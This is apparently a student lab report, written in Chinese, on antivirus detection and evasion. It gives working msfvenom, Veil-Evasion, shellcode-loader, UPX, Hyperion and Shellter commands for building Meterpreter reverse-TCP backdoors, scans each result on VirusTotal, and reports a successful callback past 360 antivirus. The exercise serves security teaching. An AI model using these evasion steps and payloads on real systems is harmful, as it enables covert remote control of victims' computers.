目录:
一、恶意软件检测机制与免杀技术(Evading AV)综述
二、实验内容
三、基础问题回答
四、实验总结
一、恶意软件检测机制与免杀技术(Evading AV)综述
1.恶意代码检测机制
1.1基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
1.2启发式恶意软件检测
- 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
- “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 优点:
- 可以检测0-day恶意软件
- 具有一定通用性
- 缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
1.3基于行为的恶意软件检测
- 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2.免杀技术(Evading AV)综述
就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。
总体技术有:
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
二、实验内容
1.正确使用msf编码器
1.1msfvenom生成exe文件
在kali终端中输入msfvenom指令,查看该命令的参数详情,选用msfvenom -l encoders可以查看编码器的情况。
将上次实验二中的后门程序meter_backdoor.exe送入VirusTotal或Virscan这两个网站中的任意一个进行扫描。
我选取的是virscan进行扫描,网址为https://www.virscan.org/。
扫描结果如下:
文件风险性很大。这是因为这个是我们没有进行任何处理的后门程序,所以能被大多数杀毒软件检测到,下面我们使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
在kali终端中输入cd /usr/share/metasploit-framework/modules/payloads/stagers/windows进入文件夹,ls查看Windows平台下的连接方式。
之后,cd /usr/share/metasploit-framework/modules/encoders/x86进入文件夹,ls查看x86的编码方式
在kali中输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 43 -b '\x00' LHOST=192.168.0.106 LPORT=4308 -f exe > encoded1.exe
-p 后面参数分别是:平台/软件/连接方式
-e 后面参数是:编码器类型
-b 后面参数是:减去16进制的0
-f 后面参数是:输出后门的格式(文件类型)
-i 后面参数是:编码的迭代次数
这里我迭代次数为43次
生成的文件拿到virscan进行检测。
仍然没什么变化,所以多次迭代对于免杀并没有什么效果。
1.2msfvenom生成jar文件
生成java后门程序,使用指令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4308 x> meter_backdoor_java.jar
将该程序上传至virustotal进行检测。
大部分的杀毒软件都能查杀出来。
1.3msfvenom生成php文件
生成php后门程序,使用指令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4308 x> meter_backdoor.php
将该程序上传至virustotal进行检测。
这个后门程序居然骗过了的大部分的杀毒软件。
2. 使用veil-evasion生成后门
经过艰难的努力安装成了veil,问题的解决方法参照了他人的博客和自己搜索的资料,得以安装完成。文末附安装方法。
输入命令use evasion进入veil-evasion
输入命令use c/meterpreter/rev_tcp.py进入配置界面
设置反弹连接IP:set LHOST 192.168.0.106(kaliip),端口:set LPORT 4308
输入指令generate生成文件,接着输入payload的名字:veil_c_4308,如图所示,生成文件语言为C语言文件,有效载荷模块为TCP反弹型,保存路径为:/var/lib/veil/output/compiled/veil_c_4308.rc
将该文件放入VirusTotal中检测。
没有逃过杀毒软件的法眼。
3、使用shellcode编程
使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4308 -f c生成一段shellcode
创建4308ss.c文件,并在vim编辑器中输入如下代码:
unsigned char buf[] =
"shellcode数组内容"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用i686-w64-mingw32-g++ 4308ss.c -o 4308ss.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序4308ss.exe
将其在VirusTotal中进行检测。
仍然很多杀毒软件都可以查杀出来。
4、加壳
4.1压缩壳
使用upx 4308ss.exe -o 4308ss.upxed.exe指令进行加壳
将其在VirusTotal中进行检测。
经过加壳后,对比刚刚的41个,减少了4个,加壳还是有一定的作用的。
在windows端运行,使用与实验二相同的步骤,可以监听window端。
4.2加密壳
使用hyperion进行加密壳
将4308ss1.exe文件使用copy指令拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令wine hyperion.exe -v 4308ss1.upxed.exe 4308ss1_upxed_Hyperion
将其在VirusTotal中进行检测。
还是被查出来了。
5、其他工具实现
我选择的是shellter,参考博客https://www.cnblogs.com/nul1/p/9794796.html
Shellter 是一款动态 shellcode 注入工具。利用它,我们可以将shell注入到其他的可执行程序上,从而躲避安全工具的检查。
首先进行安装。使用apt-get install shellter指令。
安装完成很顺利。在正式使用之前先拷贝一个二进制文件到exp3目录,方便后续的注入使用,使用cp /usr/share/windows-binaries/plink.exe .指令将一个二进制文件复制到当前文件夹下。
在终端上输入shellter就可以启动shellter。可以看到以下界面:
这里有三种模式。A-自动,M-管理者,H-帮助选项,这次我们选择A,然后输入文件路径。
之后选择Y进行隐身模式。随后选择连接方式,我选择1,tcp方式连接。
设置相关的参数,按Enter,文件就生成了。
将文件移到物理机中,刚移过来就被360发现了。将其放到VirusTotal中检测。
只有29个发现了,相比之前的少了一些。
即便是发现了,我使用msf监控,发现同样可以得到物理机的shell。
6、组合方式实现免杀
先给文件加个壳试试。
用之前的步骤,给上一步生成的文件添加一个hyperion壳。
之后用物理机上的电脑管家对其进行检测。
居然无风险!将其放到VirusTotal中试试。
差距太大了。这里一下就被查出来了。
7、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
我选择家里的一台笔记本。
杀毒软件为360安全卫士,版本为12.0.0.2002。
成功实现回连。
三、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
它指的是一种能使病毒木马免于被杀毒软件查杀的技术,说通俗一点就是给病毒木马文件做整容手术让杀毒软件来混淆杀毒软件的查实从而达到免杀的目的。针对杀毒软件查杀原理,将恶意代码进行修改和包装,使得恶意代码不被杀毒软件所检测和查杀。
(3)免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
(4)开启杀软能绝对防止电脑中恶意代码吗?
当然不可以,我觉得入侵与杀毒软件是一个相互促进的过程,两方同是都在成长,且不说很多方法可以做到免杀,就凭人的创造力,就可以制作出代码逃避出杀软,当杀软发现之后才将其收入病毒库,杀软会有一定的滞后性。所以开启杀软并不能绝对的防止,所以我们还是要提高自己的安全意识,从源头上减少自己电脑的风险。
四、实验总结
实验问题解决:在这个实验中,遇到的最大的问题就是veil的安装。参考其它的同学,但是还是有自己电脑的问题。首先我遇到的就是kali升级内存不足的问题,我参考了https://www.jianshu.com/p/a8dd7467aad4,解决了问题。第二个问题就是安装wine32的问题,出现“dpkg: 依赖关系问题使得libbsd0:i386的配置工作不能继续”错误。https://blog.csdn.net/implok/article/details/93143253参照这个博客解决了问题。最后就是veil安装出现的问题,参照其他同学得博客,更改了源库,解决了问题。
实验感受:这次实验给让我很兴奋,第一次自己也可以攻击别人的电脑,获取电脑上的东西,这让我非常的激动,这门课太有意思了。从这门课,让我学到了很多东西,尤其是在解决问题的时候,装veil的时候,遇到了太多问题,每个人遇到的问题都不同,可以参照他人的东西也不一定都可以,所以更多的时候都是需要自己去分析,自己去解决问题,这个过程痛并快乐,解决一个问题满满的都是成就感!!!